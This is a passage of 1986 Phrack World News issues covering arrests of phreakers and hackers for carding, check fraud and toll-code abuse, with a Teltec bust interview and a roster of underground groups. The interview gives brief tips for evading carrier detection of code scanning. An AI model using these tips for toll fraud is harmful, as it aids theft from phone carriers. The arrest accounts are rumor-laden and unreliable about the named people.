something entertaining like that please. + + Sincerely, + + Taran King +------------------------------------------------------------------------------- +If any of you are wondering as to how they found Taran, well CN/A is not +exclusively for phone phreaks and the number to Metal Shop was published in +Phrack I in most of the files. My theory about how they found this file is: + +A. Some agent type is looking around (hell we all know they are out there), he + sees the file and passes it on to Master Lock Company; +B. Some rodent dork type whose dad works for Master Lock Company sees it and + says, "Hey Dad, look, this is really neat!" + +I guess it really doesn't matter... Knight Lightning +_______________________________________________________________________________ + +Lex Luthor Speaks About TWCB Sunday March 22, 1986 +---------------------------- +The following is a message from Lex Luthor regarding TWCB Inc. +------------------------------------------------------------------------------- +It has been brought to my attention that TWCB Inc. is "throwing around large +amounts of BS involving me". I have NEVER spoken to them, not on a conference, +bbs, or anything. + +They have no affiliation with The Legion of Doom phreak group, nor The Legion +Of Hackers hack group. Any references they make regarding me or any member of +LOD or LOH should be disregarded since it's probably bullshit. + +TUC is working on Project Educate but there are no dates as of yet when an +issue will be released. He scrapped the old first issue and is working on a +better quality newsletter. I don't really have anything to do with Project +Educate except that I may contribute some material. + +I just thought I would clear this up and if anyone hears anything different, +please send me email with the information. + +One other thing that is on my mind is how some phreaks/hacks put down 2600 +Magazine as not being that great, not providing enough technical info, or +providing too technical, etc. Well compared to the other rags out there, 2600 +does a pretty damn good job and are very consistent, you never have to worry +about getting ripped off by them, and they are trustworthy. I don't agree with +some of the ways they do things, but overall they are pretty good. + +I just wanted to get a few things off my chest. + + Lex +_______________________________________________________________________________ + +TRASk, Animator, Ogre Ogre busted 408 Under Siege +---------------------------------- --------------- +This all happened towards the end of the week after the Phoenix Phortress Sting +Operation. + +TRASk the sysop of Shattered World Elite, carded an IBM PC. The person whose +house it was to be delivered, happened to be at home when it arrived. The +owners promptly called the police who then set up a stake out and waited for an +unsuspecting TRASk to waltz over and pick it up. TRASk did and of course was +caught red handed. + +Walking up to the house but staying on the street was the Animator. He didn't +like the looks of the situation and didn't stop walking. He went to the home +of BelGarion and Ogre Ogre (brothers). Unknown to him he had been followed +over. Since he had cut school that day he stayed over there until 4PM. +BelGarion and Ogre Ogre went to Animator's house and took all his computer +equipment and illegally carded shit. They hid it all in their house. Minutes +after Animator left BelGarion's home, he was picked up by the police. He was +then taken to Juvenile Detention where he found TRASk. + +Meanwhile the police went to TRASk's house first and took all his shit +including the bbs, then over to Animator's. When they got to Animator's house +and couldn't find anything, his little brother told them that BelGarion and +Ogre Ogre took everything. They then went to BelGarion's house where they found +not only Animator's carded material but BelGarion's and Ogre Ogre's as well. + +The four of them spent the weekend together in Juvenile Detention. + +The charges included: + +o Fraudulent use of a credit card +o Grand theft +o Possession of stolen property + +The merchandise found at BelGarion's was in excess of $3,000. + +Being that BelGarion is 18 years old, Ogre Ogre, his younger brother, took full +responsibility for the crimes. As a result the charges against BelGarion were +dropped. + +The court case is expected to take place in mid-April 1986. + +The interesting part about this story is that TRASk and the others were members +of the Nihilist Order. This group had most of its members busted or under +surveillance already due to the Phoenix Phortress Sting Operation in Fremont, +California. Is there a connection? + +BelGarion says no, and that the Nihilist Order was really a loosely connected +bunch. It was however started by TRASk and The Highwayman. + +TRASk was released with a $100 fine and probation and 100 hours of community +(civil) service work. His bbs, The Shattered World Elite, will be going back +up sometime in the future. + +For information about the Phoenix Phortress Sting Operation see Phrack World +News Issue III. + + Information provided by BelGarion 408 in an interview with Knight Lightning +_______________________________________________________________________________ + +Robin Hood and The Sultan Busted 408 Under Siege +-------------------------------- --------------- +This event took place around the last week of March in California, the 408 +area. + +Robin Hood had sprained his ankle at a wrestling meet and as a result was laid +up at home for several days. On one such day, he awoke at 1:30 PM in the +afternoon to hear people outside his house, trying to force his doors opened. +Hobbling around on his crutches, he made it to the kitchen where he ran into +three police officers, two special investigators, and one guy from PacBell +Security. + +His first cry was, "You had better have a warrant!" Sure enough they did. He +noticed MCI codes and dialups written on it as well as passwords to TRW. +(Editor's Note: Obviously what they were looking for.) They went to his room +and went through his computer disks (one of which was labeled phreaking and +hacking, they jumped for that one), printouts, notebooks, and anything else +they could find. They took everything including his modem, printer, phone, and +computer. + +Among what was confiscated were printouts of Phrack Issues I-III, Hack +Newsletter (all issues to date), tons of other G-philes, and Lex Luthor's +Hacking Cosmos series. Also taken were all of his board numbers he was on and +all his passwords. Luckily for Metal Shop PRIVATE, he had not yet received the +new general password. Boards that should be wary include the Alliance and +P-80. + +His charges include: + +o Annoying Calls (Scanning Prefixes) +o Defrauding the phone company +o Illegal entry (Hacking) +o Scanning MCI dialups (I don't know what the legal name for that would be) + +His and Sultan's court case comes up on April 18th 1986 1:00 PM. + +As for the Sultan, upon being busted, Robin Hood tried to get in touch with him +at school, not knowing that the group that had paid him a visit had come from +the Sultan's earlier around 11:30 AM. When he finally did reach him around +4:00 PM after school at swim practice, it was much too late. Sultan's dad +supposedly held a government related job. (I have no idea if it was a political +one or not). + +The police had grabbed everything Sultan had as well, including his phone. +Since his bust he has had his phone line disconnected. + +Robin Hood said that he was told that he had been under surveillance for 2-3 +months previous to his arrest. + +He also recalled that the police had a third warrant for someone in a different +town. He did not recognize the name, nor did he hear anything about it later. + +(Editor's Note: Their accounts on Metal Shop PRIVATE were removed long ago, so + MSP users don't be worried.) + + Information provided by Robin Hood during an interview with Knight Lightning +_______________________________________________________________________________ + +TWCB: Peter Arrested Again TAP Trouble +-------------------------- ----------- +In the last week of March, while on spring break, Peter of TWCB Inc. was +arrested (or maybe just picked up) for leaving his home while under a court +order to stay confined there under his mother's reconnaissance. + +He was picked up by the same detective that busted TWCB Inc. in the first +place. Evidently he had been staking out their condominium for some time. + +Not only does this add to their LARGE record and current charges, but it will +be used to show the court that TWCB's mom has no control over them. This will +hurt their defense. + +Many questions have arisen about the upcoming court case against TWCB. Most +notably, how will they be able to publish TAP Magazine with such a record and +constant surveillance? Since their bust was basically non-phreak/hack related +maybe there is no real reason to fear any problems arising of information +trading for a lighter sentence if (when) found guilty. + +However, their bust also concerned fraudulent use of a credit card. What if +that were to be tied in to phreak/hack bulletin boards? +------------------------------------------------------------------------------- +Since the topic of TWCB has already been brought up, I'd like to mention some +of the other things that have been going on concerning them. + +Fights breaking out between them and Sigmund Fraud have cleared up. This does +not necessarily mean that they will not resume. Fights with Slave Driver that +led to their being kicked off of Stronghold East Elite, have also cleared up. +Not wanting to have a reputation for kicking people off SEE for personal +reasons, Slave Driver has allowed TWCB to return. It is not yet known if they +have done so as of yet. + +On the other hand, with their co-sysop access, TWCB kicked Broadway Hacker off +of Spectre III (Which is sysoped by The Overlord of 815). He in turn kicked +them off of the Radio Station BBS. Hostilities raged between the two, but +Broadway Hacker publicly apologized on Metal Shop (and I suppose on several +other bbses as well) to TWCB, and asked them to remove their vulgar posts about +him. TWCB made no comment. + +Broadway Hacker did kick TWCB off The Radio Station. Later he welcomed them +back on, but now with their refusal to call, his invitation no longer exists. +_______________________________________________________________________________ + +SBS Acquisition Completed March 1986 +------------------------- +On February 28, MCI completed its acquisition of Satellite Business Systems +from IBM in exchange for approximately 47 million shares of MCI Common stock, +of 16.7 percent of the 282 million shares now outstanding. The Federal +Communications Commission (FCC) approved the transfer to MCI of authorizations +held by SBS on February 14. The transaction was announced as an agreement in +principle on June 25, 1985. + +The majority of SBS employees have joined MCI, bringing MCI's employment to +14,800. + +Initially, for SBS's 200,000 customers, the acquisition brings no change in +service or rates.

Thus the Better + Business Bureau can do nothing. +_______________________________________________________________________________ + +Dr. Who in Trouble Tuesday March 31, 1986 +------------------ +The following is Lex Luthor's interpretation and information on the Dr. Who +story. He also discusses Twilight Zone and Catch 22. It was posted in several +places (most notably Stronghold East Elite) and was confirmed in interview with +Lex Luthor by Knight Lightning on April 4, 1986. +------------------------------------------------------------------------------- +The Twilight Zone will be back up in 1-2 weeks. Those who Marauder wants on +will be contacted with all the new logon info, along with a number to reach it +at. He has been doing some mods to the software so the board has been down. +Silver Spy, Sysop of Catch-22 has had some phone problems and as soon as the +phone company fixes it he will have it back up. Both boards did go down for a +few days after the Doctor Who bust, but after we found out why he was busted, +the boards went back up. + +The Secret Service came to Who's house and took everything, he was not home at +the time, but after 1-2 days, they finally got around to questioning him. As +you know, the Secret Service has been doing a lot of credit card +investigations. Initially Pit Fiend of CA was busted for carding (Editor's +Note: See last issue's quick notes as to Pit Fiend) and at the time he was +speaking w/Who from time to time, thus some believe Who's bust was a result of +P.F. leaking info to the S.S. + +LOD/H was not shaken up too much from Who's bust mainly because it was not +Phreak/Hack related, merely credit related which LOD/H is not involved in. Who +did not card anything, but we believe the S.S.'s motive for busting him was use +of TRW. Incidentally, Who had a DNR on his line for 7 months some say it was +for over a year, but either way, its a hell of a long time! That's about it, +anyone need specific details, or heard anything otherwise let me know. + + Lex + + Information provided by Lex Luthor + +(Editor's Note: Lex Luthor also mentioned that Dr. Who is being sued by AllNet) +_______________________________________________________________________________ + +2300 Club Members Busted Cleveland +------------------------ --------- +Two have been caught for fraudulent use of a credit card and one has been +arrested for car theft. + +The 2300 Club is now being compared and treated as a miniature mafia by local +authorities. This is mainly for other crimes including the blowing up of cars. +King Blotto was, at one time at least, a member of this group. There is +absolutely NO information regarding King Blotto as being busted or as still +being a member of the 2300 Club. +_______________________________________________________________________________ + +New Phreak/Hack Group April, 6 1986 +--------------------- +The Dark Creaper (916), Brew Associates (215), Major Havoc (301), and one other +whose handle is unknown to me at the current time are forming a new phreak/hack +group. Its name is "The IBM Syndicate". They are currently looking for +members to join. Their bulletin boards, which are currently more or less +public, will very soon be going private, thus making it harder to become a +member. Eventually the group will have 2 bbses and 2 AEs. Mainly for the +exchange of files and IBM kracked wares. All of these bbses will be run on of +course IBM, and I assume that having an IBM is a requirement to become a +member. + + Information provided by Dark Creaper through interview by Knight Lightning +_______________________________________________________________________________ + +Oryan Quest Busted/415 Gets Hit Again April 6, 1986 +------------------------------------- +On Wednesday, April 2nd 1986, Oryan Quest was arrested on charges of computer +invasion. Technically they only had him on one charge but later evidence +accounted for the other two. + +Oryan Quest was "busted" for hacking AT&T Mail, which is roughly similar to MCI +Mail. He had three different accounts, but the San Mateo Police and FBI only +had suspicion of one. When they searched his home they found two more written +down. + +The charges against Oryan Quest were dropped for several reasons: + +1. Illegal Search (they didn't have a warrant) +2. Police Brutality and Harassment (pushed him around and slammed his head into + a car) + +The authorities searched his house while Oryan Quest was at school, which is +where they later arrested him. + +What was taken includes the following: + +Loads of computer disks +All printouts (his entire g-phile library) +10 Meg drive +Assorted Boxes (Blue, Red, Green, Silver) + +His passwords, bbs numbers, codes, etc were undiscovered. (He believes) + +No court date had been set as of yet, and it is believed that the prosecuting +attorney will drop the case due to the earlier illegal proceedings by the SMPD. + +Prior to his arrest the SMPD had been monitoring his line and had found that he +was scanning prefixes. This is however is inadmissible in a court of law +because at the time that they were monitoring his line there was not sufficient +evidence for such action. + +AT&T Mail was accessible through an 800 number, which Oryan Quest did call +direct. + +Some words from Oryan +--------------------- +"I have no intention of quitting hacking." + +"My mistake was calling an 800 number direct and for fucking around with AT&T +in the first place." + +"I am more of a hacker than a phreak." + +(Editor's note: When asked how he felt about what was happening he replied, +"I'm not worried about it.") +------------------------------------------------------------------------------- +Some other interesting facts about Oryan was that he held a part time job as a +PacTel Operator. He, being 15 years old, had lied about his age (saying he was +16), but now has been fired. + +Also SRI has given him a job offer for computer security. He is thinking about +it but doesn't plan on accepting it. + + Information provided by Oryan Quest through interview by Knight Lightning +_______________________________________________________________________________ + +Overlord 815 Arrested For Check Fraud +------------------------------------- + "The only reason I got caught was greed." + +That was the Overlord (815)'s first statement to me during an interview on +April 6, 1986. He says that originally, a long time ago, he concentrated on +Western Union, but then later turned to credit card fraud. As he progressed, +he learned that credit card fraud only worked about 5% of the time. He wanted +something that worked 100% of the time. He found it...check fraud. + +In his home town he acquired around $4,000 worth of equipment from 3 stores. +Some of the merchandise consisted of an Apple //e (with every card possible, +the best drives, monitors, etc...), a complete Commodore 128 system, and ten +packs of disks for good measure. His downfall was going back to one of the same +stores the next day to try it again. + +He was instantly caught and tricked by the police to reveal more than he would +have if he had really known his rights. + +Check fraud is a felony crime. Although I myself am uninformed as to how to +perform the art of check fraud, it must require a phone because Overlord (815) +informs me that the police have labeled his crime as Telefelony. The actual +charge however is for "theft by deception". + +His home was not searched and he has given all the merchandise back. + +He had told me that he plans to stop running his bulletin board Spectre III and +sell his computer. This is mainly so he cannot be referred to as a computer +hacker. IE: The prosecuting lawyer would ask, "Do you have a computer?!" He +can truthfully say NO. + +He plans to have the bbs run from the home of The Master (815) and the number +would stay the same. + +Another account of this story by TWCB Inc, says that Overlord has changed his +mind and is not selling his computer or taking down Spectre III. + +The court date is set at April 9, 1986, Overlord (815) says that the worst that +can happen is probation, a fine, civil service work, or any combination of the +three. + + Information provided by Overlord (815) during interview with Knight Lightning +_______________________________________________________________________________ + +TAP: Latest News From TWCB April 8, 1986 +-------------------------- +Well, as many of you may have noticed, TWCB Inc. did not fulfill their promise +of having TAP Magazine out by April 7, 1986. When asked about this on that +date, they replied that they had all the stuff, but it had to be typeset, +formatted, printed, and distributed. They estimated that they could have it +done in another four days. This secondary deadline was also not achieved. + +The writers (according to TWCB) include: + + Abbie Hoffman/Ace/Final Impulse/Gary Seven/Knight Lightning/Mark Tabas/ +Taran King/Susan Thunder/The Bootleg/The Cracker/The Firelord/The Metallian/TUC + +The magazines supporting TAP include: + + Mad Mad Magazine/High Times/Bootlegger Magazine/Hacker Magazine + +Scan Man dropped himself from the TAP Staff. + +By issue #6, TWCB plans to have a 112 page magazine. This is due to the fact +that by then they plan to be receiving many more articles and will have several +more companies advertising. + +The first issue of TAP Magazine will have articles on the following topics: + +ISDN: Parts by Taran King and The Bootleg +Fiber Optics +Cellular Phones +Satellite Jamming +Moving Satellites +The Teltec Bust: Surfer Bill/The Firelord/TWCB Inc/Knight Lightning +Dr. Who Bust +History of TAP +RSTS 8.0 +Signalling Systems: Taken from Phrack Inc.

It now has one meg of storage online. +------------------------------------------------------------------------------- +The rumor that Taran King was on a talk/news program in New York discussing +hacking is completely wrong. Dead Lord started it, but as yet no one knows +why. +------------------------------------------------------------------------------- +The Tempest in 805 was burglarized in March. His computer and all other +equipment among other things were stolen. This of course explains his absence +from the bbs world for a while. +------------------------------------------------------------------------------- +A reasonably new IBM kracking group, which was formally the Imperial Warlords, +now known as Five-O, are re-kracking software and claiming it to be original by +themselves. Futhermore they are placing insulting messages inside the software +towards certain individuals. +------------------------------------------------------------------------------- +The Kidd of 408 got busted for busted for selling codes at his school for five +dollars a piece. There was no particular company mentioned. +------------------------------------------------------------------------------- +Video Stalker (408) carded some stuff to the home of Sinbad! Sinbad! told him +that he would sign for the stuff, and when he did, he was arrested. No more +details available. +------------------------------------------------------------------------------- +The Tunnel, one of Austin, Texas's oldest phreak/hack boards, has come out of +the closet. The Tunnel was revealed on the local news to be run by the +computer crime division of the Austin Police Department. The two main goals of +the board were to A) catch carders and B) catch Mentor and Cisban Evil Priest +trying to sell those stolen computers. They were very successful at A. +------------------------------------------------------------------------------- +Stronghold East elite has announced its new advisors. Hack Advisor: Lex Luthor +Phreak Advisor: Blue Buccaneer. The soon plan to have a name change due to the +fact that Apple Commander of Stronghold North insists they the two boards are +affiliated while Slave Driver and Equalizer of Stronghold East feel +differently. With instruction from Lex Luthor, SEE has enacted new security +measures. +------------------------------------------------------------------------------- +Thanx to 2600 Magazine, Stronghold East Elite now has the complete court +transcripts of the bust that took place early last summer, most notably +concerning Private Sector and 6 others, online for viewing. +------------------------------------------------------------------------------- +Sigmund Fraud has been discharged as co-sysop of the Radio Station bbs. +------------------------------------------------------------------------------- +Captain Crunch of 512 has stated that an auto-dial program that he wrote and +uploaded was copied by TWCB Inc., who then claimed it as their own and signed +their name in it. +_______________________________________________________________________________ + + ==Phrack Inc.== + + Volume One, Issue Five, Phile #12 of 12 + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + ///\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\\ +Metal Shop PRIVATE\\\ Phrack World News Issue 4 Part 3 ///_ _ _______ +Metal Shop AE \\\ ///| \/ | / _____/ +Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop + \\\ /// _________/ / +Present PWN IV \\\///\\ Knight Lightning //\\\/// /__________/ +-------------- \-^^^^^^-^^^^^^^^^-/ Triad +_______________________________________________________________________________ + + Demise of Phreakdom in Florida: The Story of Teltec + + Interview with Surfer Bill by The Firelord + + Written by Knight Lightning +=============================================================================== +Firelord (FL): Bill, I wanted to ask you some stuff on that bust you were + telling me about. + +Surfer Bill (SB): Yeah, whatta ya want to know? + +FL: Who the hell got busted? + +SB: Well, you wanna know who knows a hell of a lot more than me is Jack Flack. + He has the subpoena, it's about 40 pages, it lists every single one of + their names, and all the charges word for word, it's incredible. + +FL: Jack Flack isn't accepting phone calls, it's probably not a very good idea. + +SB: Teltec is based in Miami, they got really pissed off that everyone was + abusing their services. I mean using their codes and things like that. + These people aren't stupid. I mean they know if you've got a sequential + hacker on. They know because what happens is that their computer registers + every single bad code. So If they see 20000, 20001, 20002, and keeps on + going registering as bad codes and all of the sudden 20011 doesn't + register, but 20012 does then they know that 20011 is a good code. What + they will do is monitor this code and watch it for abnormal usage. They + will be sitting there saying, 'Hey this code has been getting a lot of use + in the past few days.' Then they will put a tracer on, trace the person, + tap the line, and start amassing information about the line owner. It is + like putting a noose around your own neck! + + Basically what I heard is happening down here is that, I believe, there are + five bulletin board systems in the Miami/Fort Lauderdale/Boca Raton area + that they are after. + + Caeser's Palace (Sysoped by Caeser D, Whose real name is John Kessler) + Parasec (Sysoped by Mark Barochich {sic}) + COPS + Apple Tree, not Apple Tree I or Apple-Tree II, it was the Apple Tree Phreak + BBS, that one everyone now knows as the Catfur. + And Plovernet (305). + +FL: Didn't you say that Teltec planted agents on all these boards? + +SB: Yeah, that's what I was getting to. I don't know for a fact or anything + but, what I hear is that Teltec employees posed as undercover hackers or + phreakers and got on to the above listed boards. They had handles and + infiltrated the system, having everyone believe that they were phreakers. + Cause what they did was, well obviously they knew what they were talking + about after all they worked for the company. They posted really educated + information. From there I believe they actually posted some Teltec codes. + There again, some of this is rumor, some of this is fact, I really couldn't + tell you which was which. + +FL: Well who all was busted? + +SB: Jack Flack, Caeser D (John Kessler), Demetrius Cross, Dave Peters, several + others of course. One whole family got busted, the father, the son, and + the daughter. There is a list of thirty-eight people, their actual names + were published in the Miami Review, which is a lawyer newspaper that goes + to all the lawyers and judges in the Miami area. Another interesting thing + is that the list mentioned a John Doe and a Jane Doe. There was a clause + that said these two people are to be named at a later date, so who knows + who that could be or even it was more than one person. + +FL: You say Lex Luthor escaped? + +SB: Yes he did. + +FL: They were gonna snag him, but he escaped to California. + +SB: I don't know exactly if they had him or whether they were gonna bust him or + not but I know he was not mentioned. + +FL: Maybe he was one of the John or Jane Doe people. + +SB: Most of the stuff that I know is basically public information so I don't + know anything about that John and Jane Doe stuff. + +SB: An important point is that the Teltec agents posted some codes and then + monitored those codes. I believe they cannot bust you for using those + numbers because that's a form of entrapment. Instead what they'll do is + monitor the calls, trace the calls, and then they will know who they are + dealing with. + +FL: They'll hook up a dialed number recorder (DNR) on the line. + +SB: Well what this whole deal is doing is sorta pointing a finger of blame. + Both people are wrong, Teltec is wrong in using entrapment to try and catch + you, and you are wrong for using their codes to phreak. So what they do is + keep an eye on you. So then they say "ah ha" this guy, John Doe over here + is using this code. We know he has been abusing our system and now we are + gonna keep an eye on him. So when this code goes dead, we're gonna watch + and see if he uses any different ones and if he does, we'll bust him. + + The main thing that's gonna come out of this court case is that they are + gonna go after the the 5 people that were the system operators of the + bbses. They're not really after the average user, what I think is happening + is that the average users are going to be used as witnesses against the + system operators. + + The scary part about this case is that it is really pretty big because, it + may set a precedent. If the judge rules in favor of Teltec and then Teltec + presses charges, the subpoena says that there is a minimal of $5000 damage, + and that's what they're seeking. So its gotta be well over $5000 damages. + I tell you one thing, from the amount of money and information Teltec has + put into this they are really determined to press charges. They invested a + lot of money as far as lawyers and investigators. Another scary part of + this story is that Teltec has not made the evidence that they have against + the thirty-eight people public, as far as I know, and that's what everyone + is afraid of. The average user doesn't know what he is up against. + +FL: I bet the majority of the people on those boards are scared shitless now. + +SB: Oh yeah, everybody is, its like the whole city of Miami is. Also I hear + that Sprint and MCI will be cracking down in the future. They are most + likely waiting to see how this case goes. + +FL: Is Teltec the major service down there that everybody uses? + +SB: Not really, it's one of many. The popular one these days is MCI cause it + only has those 5 digit codes. + +FL: I heard Teltec gave shitty connections. + +SB: Yeah, that's funny because, I was talking to Jack Flack, and I said if you + wanna crack up the people in the courtroom and you know that they are + definitely gonna bust you, and that you're guilty beyond a shadow of a + doubt, make a joke if they ask you what you know about Teltec say, "Alls I + know about Teltec is that their connections to California are really + shitty!" I don't know if they'd be too happy about hearing that one! + +FL: So they are really gonna take care of this aren't they? + +SB: Yeah but Teltec's main goal is to really get the system operators. You + should read this subpoena here, it talks about the system operators. + It says that the sysops "organized, financed, directed, and oversaw the + illicit posting and trading of Teltec codes" "They failed to delete the + messages containing illegal information." You see so the sysops are guilty + cause they didn't delete the messages. + +FL: The thing that could've solved all this is if people used random hackers + and random destination numbers, like MegaPhreak. + +SB: Another point is that even though you may be using a random hacker, most + people aren't gonna be using the system at 3 a.m. to 4 a.m. The best time + to scan is during normal business hours. + +FL: That's true, after all you don't need 10,000 codes. + +SB: Well anyway, I think that they are really after the system operators. And + if Teltec wins this case it will set a precedent. If all that happens then + I expect that we are gonna see a lot more of these cases popping up all + around the country. +------------------------------------------------------------------------------- +Editor's notes: There is some talk about there actually being 6 boards being + busted and not just 5. Also the reference that Lex Luthor had + any involvement or close calls with Teltec is only rumor. + Other reports from 305ers who wish to remain un-named state + that MCI has indeed stepped up its war on phreakers and + hackers.

The information herein was originally +supposed to appear as a special issue of PWN, but instead was made this issue's +Phrack Pro-Phile. Taran King and I have collected much information about the +different clubs and groups of today and yesterday and compiled in the form that +you will now see. +\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\ +Extasyy Elite: The story of Extasyy Elite is a sad one for the group was + literally destroyed by its own members. The Poltergeist turned + in all of Extasyy after he got busted for carding. This led + the authorities to The Mentor who had stolen 30 Apple //es. + Mentor's bust almost led to The Protestor, but luckily, The + Mentor was able to warn Protestor in time. (See Phrack World + News Issue III). + +The membership of the club included: + + Bit Blitz Cisban Evil Priest + Crustaceo Mutoid Kleptic Wizard + The Mentor The Poltergeist + The Protestor + + +Crustaceo Mutoid later joined the Racketeers, but now he and The Mentor write +for a California newsletter called the Underground Informer. + + Extasyy hung out on Hack Net BBS and FWSO, a bbs in Colorado. +------------------------------------------------------------------------------- +Fargo 4A: This group was started on a conference consisting of Bioc Agent 003, + TUC, Big Brother, Quasi-Moto, Video Warhead, and the Wizard of + Arpanet. What they did was get several Directory Assistants on the + conference, and each person assumed a role of some sort of telco + agent. Now they told the DA's that all their calls were going to be + re-routed to a different location. They got some of the DA's to + believe them, and some of them were almost laid off because of this + conference. By the way, Fargo is in North Dakota, that's where the + first DA was from. + + It is believed that Wizard of ARPAnet was busted by John Maxfield + and that BIOC completely retired from the phreak world. This group + was unofficially disbanded, but several of the members are still + active. +------------------------------------------------------------------------------- +Five-O: A reasonably new IBM kracking group, which was formally the Imperial + Warlords. Currently they are re-kracking software and claiming it to + be original by themselves. They are known for placing insulting + messages towards certain people inside their re-kracked software. +------------------------------------------------------------------------------- +IBM Syndicate: This group was formed around April 6, 1986. Its charter + members included; Dark Creaper (916), Brew Associates (215), + Major Havoc (301), and one other whose handle remains unknown + to me at the current time. They were a new phreak/hack/pirate + group. Unfortunately, this group (like so many others) died + within its first month. +------------------------------------------------------------------------------- +Icub (International Computer Underground Bandits): + + This is a hack/phreak group who's main emphasis is on phreaking. It is + based in Memphis, Tennessee. It has 10 members in it, and the only + semi-active member left is Doc Holiday. Not much else is really known + about this group except that it is inactive and there have not been any + announced plans to revive it. +------------------------------------------------------------------------------- +LOD/H: Legion Of Doom/Hackers + + These two groups are very closely intertwined. They both were formed + on Plovernet. The founding member was Lex Luthor. Through the years, + there have been LOD/H bulletin boards such as Blottoland, LOD, FOD, + etc. Today there is Catch 22 and a new LOD bbs, supposedly being run + by King Blotto. The current member list of the group is as follows: + + Legion Of Hackers Legion Of Doom + ----------------- -------------- + Blue Archer Phucked Agent 04 + Gary Seven Compu-Phreak + Kerrang Khan + Lex Luthor + Master Of Impact + Silver Spy (Sysop of Catch 22) + The Marauder + The Videosmith + +LOD/H is known for being one of the oldest and most knowledgeable of all +groups. In the past they have written many extensive g-philes about various +topics. (Please forgive any mistakes in the member list since this list was +provided by Lex Luthor approximately 1 1/2 - 2 months ago). +------------------------------------------------------------------------------- +Metal Communications: A very large group that has written many files throughout + its existence. Some of the boards in its menagerie + include Speed Demon Elite, Metal AE, Metal Works AE, + Metalland I and several others. The membership of Metal + Communications includes: + +Cobalt 60/Crimson Pirate/Dr. Local/Red Pirate/Shadow Lord/The Angel Of Destiny + The Apothecary/The Byte/The Byte Byter/The Dark Wizard/The Duke/The Dutchman +The Man In Black/The Prophet/The Pink Panther/The Voice Over/The Radical Rocker + The Warlock Lord/White Knight + +Red Pirate, Crimson Pirate, and Dr. Local are the group's main ware +distributors. + +A subsidiary of Metal Communications is the Neon Knights whose membership +includes: + + Baby Demon/Jolly*Roger/The Blade aka Killer Kurt/The Master of Reality + The Metallian/The Outland/Zandar Zan +------------------------------------------------------------------------------- +PAG/PAP: Phreaks Against Geeks/Phreaks Against Phreaks Against Geeks + + PAG: This group was formed by TWCB Inc. as a joke on a conference in + December, 1985. The charter members were TWCB, Inc. taRfruS, + Blue Adept, The Clashmaster and a few others. Later, Catcher in + the Rye and the Slovak wanted to join. + + PAP: In resistance to PAG, Boston Stangler and Micro Man formed PAP. + Several others sided with them but were never formal members. + +All of this nonsense was really started on the Dartmouth system and was mainly +a feud between phreaks in the Boston (617) area until TWCB got involved. +------------------------------------------------------------------------------- +The Administration: This group was sort of in two parts; The Administration + and Team Hackers '86. The membership of these groups + include: + + Adolph Hitler...............Team Hackers '86 + Alpha Centauri + Author Unknown..............Team Hackers '86 + British Bloke...............Team Hackers '86 + Dark Priest + David Lightman (214)........Administration Leader/ + Team Hackers '86 + Dr. Pepper + Hewlett Hackard + Major Havock................Team Hackers '86 + Mane Phrame + Mark Twain + Phoneline Phantom 1 - *Not* a member of Phoneline Phantoms. + Red Baron + Renegade Rebel + Sasha Kinski................Team Hackers '86 + The President + Walter Mitty + +The group did disband temporarily for reasons dealing with security, but now is +back together. For other news about this group see the current PWN. +------------------------------------------------------------------------------- +The Nihilist Order: This group was really a loosely connected bunch of friends + and phreaks and not a true club. It is based in Fremont + and Sunnyvale, California. It was started by TRASk and + The Highwayman. The membership includes: + + BelGarion/Ogre Ogre/The Animator/The Highwayman/TRASk + +All of the members of the group have been busted or been involved in busts in +the past few months. The Highwayman bit it in the Phoenix Phortress Sting +Operation, and the others all got caught on a carding scam. Although BelGarion +was later released with no record. + +One of the boards in the Nihilist Order's network is the Shattered World Elite, +which is sysoped by TRASk. The group is currently inactive. +------------------------------------------------------------------------------- +The P.H.I.R.M.: A somewhat new group that recently has been accused (without + proof) of being fed invested. + + Not much is really known about this group as they would + disclose very little information. Some of the boards that are + now P.H.I.R.M operated include Thieve's Underworld, sysoped by + Jack The Ripper, World's Grave Elite sysoped by Sir Gamelord, + and SATCOM IV. + + The P.H.I.R.M. reportedly will be releasing a newsletter. + + The membership of the P.H.I.R.M. supposedly includes: + + Archangel Blade Runner + Jack The Ripper Sir Gamelord + The Stingray + + It is rumored that Blade Runner is the same person as + Archangel and/or The Stingray. +------------------------------------------------------------------------------- +TPM (The Punk Mafia): This group when last checked had eight members. The + following is a complete listing. + + Arthur Dent Creative Chaos + Erik Bloodaxe Gin Fizz + Ninja NYC Peter Gunn + Rudolph Smith (703) The Godfather (703) + +The group will be going through a rebirth this summer. Their main goals +include burglary, fraud, hacking, and phreaking. Most recently The Godfather +retired and Ninja NYC came very close to being busted. See Phrack World News +Issue V. +------------------------------------------------------------------------------- +The Racketeers: The new Apple pirating group was assembled by Apple Rebel. The + membership now includes: + + Apple Rebel/Crustaceo Mutoid/Hot Rod/The Micron/The Warezird +------------------------------------------------------------------------------- +Tribunal Of Knowledge: This group was formed very recently by Blue Buccaneer + and High Evolutionary with one purpose in mind: to get + together to trade knowledge and information and to + discuss this information until all the members had a + good working knowledge of it. The final result would + be g-philes written by the group about the topic. On + the whole it was a good idea. + + The complete membership includes: + + Blue Buccaneer Chef Boy R Dee + Cyclone II High Evolutionary + Night Stalker Paradox + Professor Pixel Slave Driver + The Inspectre The Seker + The Wild Phreak +------------------------------------------------------------------------------- +2300 Club: Based in Cleveland, Ohio. The 2300 Club is now being compared and + treated as miniature mafia by local authorities. This is mainly + for crimes including the blowing up of cars. Two of the members + were caught for fraudulent use of a credit card and one has been + arrested for car theft. Which of the members that refers to, I + don't know, but the membership of the 2300 Club included: + + Dr. Gorey Dr. No + Eagle Eyes Judge Dredd + King Blotto Mr. Modem + Prince Squid Spectreman + The Formatter +------------------------------------------------------------------------------- +2600 Club/New 2600 Club: Both groups are no longer in existence. Originally + started as a local group of friends in St. Louis, + Missouri, it gained members quickly, too quickly, and + as the membership grew, the unity and productivity of + the group lessened until the group(s) finally broke + up. However many of the members of 2600 Club now + write (or have in the past) for Phrack Inc. Among + them are: + + Cheap Shades/Data Line/Dr. Crash/Forest Ranger/Gin Fizz/Jester Sluggo + Knight Lightning/Monty Python/Phantom Phreaker/Taran King/The Clashmaster + + 2600 Club had no relation to 2600 Magazine. 